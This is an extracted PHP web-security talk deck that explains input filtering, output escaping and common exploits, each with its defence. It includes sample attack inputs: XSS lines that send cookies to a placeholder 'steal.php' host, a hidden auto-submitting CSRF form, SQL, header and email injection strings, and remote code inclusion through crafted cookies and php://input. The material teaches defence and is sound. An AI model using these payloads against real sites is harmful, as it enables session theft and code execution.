Sei sulla pagina 1di 48

OmniTI

omniti.com

Essential PHP Security


Chris Shiett shiett.org
1

Talk Outline

Overview Security Principles Best Practices Common Exploits Code Audits More Information
2

Overview

Security is not absolute. Security is difcult to measure. Security must be balanced with usability. Security must be part of the budget. Security must be part of the design.
3

Overview

Defense in Depth
Redundant safeguards are valuable.

Least Privilege
Only grant what is required.

Simple Is Beautiful
Complexity breeds mistakes.
4

Overview

Filter Input
Ensure data coming in is valid.

Escape Output
Ensure data going out is preserved.

FIEO

Filter Input

Business Logic

Escape Output

<?php $clean=array(); if(ctype_alpha($_POST['name'])){ $clean['name']=$_POST['name']; } else { /*Error*/ } ?>

<?php $clean=array(); switch($_POST['color']){ case'red': case'green': case'blue': $clean['color']=$_POST['color']; break; default: /*Error*/ break; } ?>
8

<?php $clean=array(); $colors=array('red','green','blue'); if(in_array($_POST['color'],$colors)){ $clean['color']=$_POST['color']; }else{ /*Error*/ } ?>


9

<?php $clean=array(); $colors=array(); $colors['red'] = ''; $colors['green'] = ''; $colors['blue'] = ''; if(isset($colors[$_POST['color']])){ $clean['color']=$_POST['color']; }else{ /*Error*/ } ?>
10

<?php $clean=array(); if(preg_match('/^\d{5}$/', $_POST['zip'])){ $clean['zip']=$_POST['zip']; }else{ /*Error*/ } ?>


11

<?php /*Content-Type:text/ html;charset=UTF-8'*/ $html=array(); $html['user']= htmlentities($clean['user'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome,{$html['user']}.</p>"; ?>
12

Common Exploits

Cross-Site Request Forgeries Cross-Site Scripting SQL Injection Session Fixation Session Hijacking HTTP Response Splitting Email Injection Remote Code Injection
13

Cross-Site Request Forgeries

Attacker

Victim

CSRF

Target

14

CSRF
<form action="buy.php" method="post"> <input type="hidden" name="isbn" value="059600656X" /> <input type="submit" value="BUY" /> </form>

BUY

POST /buy.php HTTP/1.1 Host: host Cookie: PHPSESSID=1234 Content-Type: application/x-www-form-urlencoded Content-Length: 15 isbn=059600656X
15

CSRF
<img src="http://host/buy.php?isbn=059600656X" />

GET /buy.php?isbn=059600656X HTTP/1.1 Host: host Cookie: PHPSESSID=1234

16

CSRF
<iframe style="visibility: hidden" name="secret"></iframe> <form name="buy" action="http://host/buy.php" method="POST" target="secret"> <input type="hidden" name="isbn" value="059600656X" /> </form> <script type="text/javascript">document.buy.submit();</script>

POST /buy.php HTTP/1.1 Host: host Cookie: PHPSESSID=1234 Content-Type: application/x-www-form-urlencoded Content-Length: 15 isbn=059600656X 17

CSRF
$token=md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $html['token']= htmlentities($token, ENT_QUOTES, 'UTF-8');

<input type="hidden" name="token" value="<?php echo$html['token']; ?>" />


18

Cross-Site Scripting
HTML Attacker XSS Target Victim

XSS

19

XSS
echo$_GET['user'];

http://host/script.php?user=%3Cscript%3E...

echo'<script>...';
20

XSS

<script> document.location = 'http://host/steal.php?cookies=' + encodeURI(document.cookie); </script>

21

XSS

<script> new Image().src = 'http://host/steal.php?cookies=' + encodeURI(document.cookie); </script>

22

XSS

Traditionally, most XSS attacks steal cookies. With Ajax, XSS attacks are becoming more sophisticated. XSS + Ajax yields powerful CSRF attacks.

Security 2.0
Thursday, 2:35 PM, D137-138
23

XSS

FIEO Use htmlentities() or htmlspecialchars(). Be sure to indicate the character encoding!

24

XSS
$string= "<script>alert('XSS');</script>"; $string=mb_convert_encoding($string, 'UTF-7'); echohtmlentities($string);

Google XSS Example


http://shiett.org/blog/2005/dec/google-xss-example
25

XSS
echohtmlentities('<script>', ENT_QUOTES, 'UTF-8');

&lt;script&gt;

<script>

26

SQL Injection
SQL Attacker SQL Target DB

SQL

27

SQL Injection
SELECT FROM WHERE AND count(*) users username = '{$_POST['username']}' password = '...'

chris' /*

SELECT FROM WHERE AND

count(*) users username = 'chris' /*' password = '...'


28

SQL Injection

FIEO Use prepared statements. Use a native escaping function.

addslashes() Versus mysql_real_escape_string()


http://shiett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

29

Session Fixation

http://host/login.php?PHPSESSID=1234

30

Session Fixation

Regenerate the session identier. session_regenerate_id(TRUE) Do this when the privilege level changes.

31

Session Hijacking

Attacker impersonates another user. By default, only requires a valid session identier.

32

Session Hijacking

Prediction Fixation Capture

33

Session Hijacking


Understand how sessions work. Minimize session identier exposure:
SSL Separate Domain for Embedded Resources

Propagate an auth token. Trending


34

HTTP Response Splitting

Yet another injection attack. header() can send multiple headers.


(Not anymore.)

Often used for session xation.

35

HTTP Response Splitting


header("Location:http://{$_SERVER['HTTP_HOST']}/new.php");

host/new.php\r\nSet-Cookie: PHPSESSID=1234\r\nBogus:

Location: http://host/new.php Set-Cookie: PHPSESSID=1234 Bogus: /new.php


36

HTTP Response Splitting

FIEO Use ctype_print() for defense in depth.

37

Email Injection
mail('chris@example.org', 'Feedback', '...', "From: {$_POST['email']}");

fake@example.org\r\nBcc: victim@example.org\r\nBcc...

To: chris@example.org Subject: Feedback From: fake@example.org Bcc: victim@example.org Bcc...


38

Email Injection

FIEO
http://iamcal.com/publish/articles/php/parsing_email

Use ctype_print() for defense in depth.

39

Remote Code Injection

Attacker

Target

40

Remote Code Injection


include "{$_COOKIE['type']}.php";

Cookie: type=http://host/inject.inc?

include "http://host/inject.inc?.php";
41

Remote Code Injection

This example exploits allow_url_fopen. Now we have allow_url_include.

42

Remote Code Injection


include "{$_GET['type']}.php";
POST /script.php?type=php://input%00 HTTP/1.1 Host: host Content-Type: application/x-www-form-urlencoded Content-Length: ?? <malicious code>

include "php://input";
43

Code Audits

Identify input and trace it forward. Identify output and trace it backward.

44

Code Audits


Input:
$_GET $_POST $_COOKIE

Output:
echo mysql_query()
45

Code Audits
<?php $_COOKIE['user'] $user=$_COOKIE['user']; $greeting="Welcome,$user."; echo"<p>$greeting</p>"; $user ?> ... ... $greeting ...

46

Code Audits


Specic Vulnerabilities:
Cross-Site Request Forgeries Session Fixation

Common Mistakes:
Truth of $_SERVER['PHP_SELF'] Trust of HTTP Headers
47

More Information

http://shiett.org/ http://omniti.com/ http://phpsec.org/ http://phpsecurity.org/

Slides
http://shiett.org/essential-php-security.pdf
48

Potrebbero piacerti anche